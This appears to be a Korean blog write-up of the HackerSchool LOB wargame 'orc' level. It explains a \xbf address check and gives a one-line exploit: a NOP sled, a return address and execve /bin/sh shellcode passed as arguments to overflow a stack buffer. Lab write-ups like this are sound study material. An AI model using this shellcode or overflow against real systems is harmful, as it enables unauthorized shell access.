소스를 보니까
대충 이렇다.
for문은 지금은 잘 모르겠다.
extern으로 외부배열변수를 선언해서
뭔가 각각의 index를 0으로 채워버리는 짓을 하는 것 같다.
주석에 egghunter라고 되어있는걸 보니
eggshell을 막는 건가?
여튼 지금은 모르겠다.
일단, if문을 살펴보면
첫 번째 argument의 48번째 바이트가 \xbf 가 아니면,
문자열을 출력해주고 프로그램이 종료된다.
그 뒤의 strcpy를 하고싶으면
첫 번째 argument의 48번째 바이트를 \xbf로 맞춰주면 될 거 같다.
그래서 해봤다.
일단 스트링카피가 되긴 된다.
그럼 이제 오버플로우를 발생시키면 되는건가?
한번 해보자
./orc `python -c 'print "\x90"*44+"\x08\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*50'`
성공했다
'WarGame > HackerSchool_LOB' 카테고리의 다른 글
HackerSchool LOB Level6 (0) | 2014.07.29 |
---|---|
HackerSchool LOB Level5 (0) | 2014.07.29 |
HackerSchool LOB Level3 (0) | 2014.07.24 |
HackerSchool LOB Level2 (0) | 2014.07.24 |
HackerSchool LOB Level1 (0) | 2014.07.23 |